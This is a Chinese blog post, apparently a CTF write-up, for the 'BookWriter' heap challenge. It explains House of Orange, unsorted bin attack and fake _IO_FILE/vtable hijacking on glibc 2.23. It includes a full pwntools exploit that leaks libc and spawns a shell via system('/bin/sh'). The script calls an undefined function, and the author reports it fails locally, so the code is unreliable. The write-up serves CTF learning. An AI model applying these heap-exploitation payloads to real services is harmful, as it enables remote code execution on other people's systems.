pwn heap: BookWriter

典型的House of orange + unsorted bin attack + _IO_FILE,之前在melody_center中有写过,基本是一样的,除了一些利用的细节。权当是练习了,毕竟第一次接触的时候,写起来有点吃力。

题目描述

x64程序,保护除了PIE全开:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

题目提供了五个功能:

1
2
3
4
5
6
7
8
9
----------------------
BookWriter
----------------------
1. Add a page
2. View a page
3. Edit a page
4. Information
5. Exit
----------------------

最开始的时候会要求输入author name。

add功能就是添加一个page,地址和大小分别存在bss上两个数组里面。

view功能就是输出一个给定page的内容。

edit功能就是修改一个给定page的内容,但是这里会重新根据strlen(content)来修改之前提到的bss上存大小的数组里,从而影响下一次可以读入的字节数。

info功能就是输出author name, page数量,以及提供更改author name的选择。

相关知识点

House of orange

House of orange攻击的核心,就是在没有free函数的情况下,释放出一个unsorted bin供利用,而主要的原理就是利用top chunk。

一般在可以overwrite top chunk size的情况下,请求malloc一个比伪造的top chunk size更大的空间时。在_int_malloc检验fastbin, smallbin, unsorted bin, large bin没有找到符合需求的块时,接下俩_int_malloc会试图从top chunk切,如果top chunk的空间也不够,那么会执行:

1
2
3
4
5
6
7
8
9
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

此时ptmalloc已经不能满足用户申请堆内存的操作,需要执行sysmalloc来向系统申请更多的空间。但是对于堆来说有mmapbrk两种分配方式,我们需要让堆以brk的形式拓展,之后原有的top chunk会被置于unsorted bin中。

综上,我们要实现brk拓展top chunk,但是要实现这个目的需要绕过一些libc中的check。首先,malloc 的尺寸不能大于mmp_.mmap_threshold:

1
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

如果所需分配的chunk大小大于mmap分配阈值,默认为128K,并且当前进程使用mmap()分配的内存块小于设定的最大值,将使用mmap()系统调用直接向操作系统申请内存。

此外,在sysmalloc函数中存在对top chunk size的check,如下:

1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) 
|| ((unsigned long) (old_size) >= MINSIZE
&& prev_inuse(old_top)
&& ((unsigned long)old_end & pagemask) == 0));

这里检查了top chunk的合法性:

  • 如果第一次调用本函数,top chunk可能没有初始化,所以可能old_size为 0。
  • 如果top chunk已经初始化了,那么top chunk的大小必须大于等于MINSIZE,因为top chunk中包含了 fencepost,所以top chunk的大小必须要大于MINSIZE
  • 其次top chunk必须标识前一个chunk处于inuse状态.
  • 并且top chunk的结束地址必定是页对齐的。
  • 此外top chunk除去fencepost的大小必定要小于所需chunk的大小,否则在_int_malloc函数中会使用top chunk分割出chunk。

    因此伪造的top chunk size需要满足:
  • 伪造的size必须要对齐到内存页(0x1000)
  • size要大于MINSIZE(0x10)
  • size要小于之后申请的chunk size + MINSIZE(0x10)
  • size的prev inuse位必须为 1

unsorted bin attack

unsorted bins是一个双向链表,它采用的遍历顺序是FIFO,即插入时插在头部,取出时从尾部取。

当响应内存分配请求时,若small bin中不含符合要求的块,那么此时就会从unsorted bins中查找,如果有符合要求的,就会被取出来使用,其余的根据大小分别放在不同的bin中。

从unsorted bins中取块时,会将改该unsorted bin的bck->fd写为unsorted bins的地址(glibc2.23的版本下是main_arena+0x58,以后提及“unsorted bins的地址”,均用main_arena+0x58代替)。

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

于是只要伪造unsorted bin的bk的值,就能将main_arena+0x58写到bk的fd处。

事实上,一般在配合House of orange的情况下,一般会选择将_IO_list_all更改为main_arena+0x58,而此时_IO_list_all->_chains正好指向main_arena中size为0x60的smallbin。

fake _IO_FILE and vtable

前面提到_IO_list_all->_chains正好指向main_arena中size为0x60的smallbin,那么只要伪造出对应的smallbin为struct _IO_FILE以及伪造出相应的vtable地址以及vtable内容,就可以达到getshell的目的。

因为这题是glibc2.23,所以不存在对vtable的check,所以vtable也可以随意构造。至于更高的glibc版本(如glibc2.24),存在一些相应的对vtable的检查机制,构造vtable会有困难,解决方案可以参考melody_center

对于_IO_FILE的构造,需要满足以下条件:

  • fp->_mode = 0
  • fp->_IO_write_ptr < fp->_IO_write_base
  • fp->_IO_read_ptr = 0x61 smallbin with size 0x60
  • fp->_IO_read_base = _IO_list_all-0x10 _IO_list_all ==> main_arena+0x58
  • vtable->_IO_OVERFLOW = system _IO_OVERFLOW(fp);
  • fp start with “/bin/sh\x00”

    显然对于glibc2.24中利用_IO_str_jumps的方法,对于glibc2.23同样适用。

利用思路

  • edit功能中由于会根据strlen重新设置可读入的长度,因此可以在长度包含next chunk的size域的时候,可以完成对next chunk的size字段的修改,这里是更改top chunk的size,使其在下一次分配更大的空间的时候,被free到unsorted bin中。
  • 由于malloc出的chunk里的内容不会被清0,因此在从unsorted bin中分配内存时,只要将原fd字段用字符填满,即可利用view功能leak出bk处的main_arena相关地址,从而得到libc的基地址。
  • add功能中对个数判断存在漏洞,即bss上的储存chunk的空间只有8个,而这里可以分配第九个也就是chunk_array[8],而chunk_array[8]其实就是chunk_size[0],只要利用edit功能中对size的改写将chunk_size[0]变为0(通过输入’\x00’开头可以做到),就可以将chunk_size[0]overwrite为堆地址,从而可以接受更多输入,这一点很重要,因为后面修改伪造_IO_FILEvtable以及smallbin需要用到。
    1
    2
    3
    4
    5
    6
    7
    for ( i = 0; ; ++i )
    {
    if ( i > 8 )
    return puts("You can't add new page anymore!");
    if ( !chunk_array[i] )
    break;
    }
  • 接下来就是构造_IO_FILE结构体了,因为这里没有选择leak heap address,也就没有选择在堆块中伪造vtable,还是选择利用_IO_str_jumps其实就是偷个懒,用一下之前写过的脚本。其实可以通过author name把紧跟着的chunk_array[0]打印出来,然后伪造vtable,然后利用_IO_OVERFLOW(fp)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
context.log_level = 'debug'

def set_name(name):
p.sendafter("Author :", name)

def add(size, content):
p.sendlineafter("Your choice :", "1")
p.sendlineafter("Size of page :", str(size))
p.sendafter("Content :", content)

def view(index):
p.sendlineafter("Your choice :", "2")
p.sendlineafter("Index of page :", str(index))

def edit(index, content):
p.sendlineafter("Your choice :", "3")
p.sendlineafter("Index of page :", str(index))
p.sendafter("Content:", content)

def info(choice, name):
p.sendlineafter("Do you want to change the author ? (yes:1 / no:0) ", str(choice))
if choice == 1:
p.sendafter("Author :", name)

def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)

file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")

return file_struct

def pack_file_with_vtable(_IO_str_jumps_addr, _IO_list_all_ptr, main_arena_addr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin5file_size
_IO_read_end = main_arena_addr,
_IO_read_base = _IO_list_all_ptr - 0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)

payload += p64(_IO_str_jumps_addr - 8)
payload += p64(0) # paddding
payload += p64(system_addr)

return payload


main_arena_offset = 0x3c3b20
system_offset = libc.symbols["system"]
str_bin_sh_offset = libc.search("/bin/sh").next()
_IO_list_all_offset = libc.symbols["_IO_list_all"]
_IO_str_jumps_offset = 0x3c27a0

set_name("AAA")

# House of orange
# overwrite top chunk size
# make the chunk_size[0] = 0
add(0x38, "AAAA") # chunk 0
edit(0, "A" * 0x38)
edit(0, "\x00" * 0x38 + "\xc1\x0f\x00")

# free a unsorted bin
add(0x1000, "BBBB") # chunk 1

# malloc from unsorted bin
# leak main_arena address
add(0xf8, "C" * 8) # chunk 2
view(2)
p.recvuntil("C" * 8)
main_arena = u64(p.recv(6).ljust(8, "\x00"))
libc_base = main_arena - main_arena_offset - 0x668
_IO_list_all = libc_base + _IO_list_all_offset
_IO_str_jumps = libc_base + _IO_str_jumps_offset
libc_system = libc_base + system_offset
str_bin_sh = libc_base + str_bin_sh_offset

# malloc left 5 chunks
for i in range(5):
add(0x18, "DDDD")

# overwrite chunk_size[0] to a heap address
add(0x18, "EEEE")

# fake _IO_FILE struct
# make sure chunk_size[0] = 0 again, so that we can malloc once again to trigger error
payload = "\x00" * 0x1f0
payload += pack_file_flush_str_jumps(_IO_str_jumps, _IO_list_all, main_arena - 0x610, libc_system, str_bin_sh)
edit(0, payload)

# trigger error
p.sendlineafter("Your choice :", "1")
p.sendlineafter("Size of page :", str(0x18))

success("libc_base: " + hex(libc_base))
success("_IO_list_all: " + hex(_IO_list_all))
success("_IO_str_jumps: " + hex(_IO_str_jumps))
success("libc_system: " + hex(libc_system))
success("str_bin_sh: " + hex(str_bin_sh))

p.interactive()

小结

  • 很奇怪,本地还是打不通,明明都断在system里面了,参数rdi也是对的,而且远程也是概率性打通。
  • 调试的时候,leak出来的libc地址不是预期的main_arena+0x58的值,而是会大0x610,还没搞清楚原因。

参考资料

  1. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange-zh/
  2. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/
  3. https://xz.aliyun.com/t/2411
Author: Nop
Link: https://n0nop.com/2020/04/09/pwn-heap-BookWriter/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.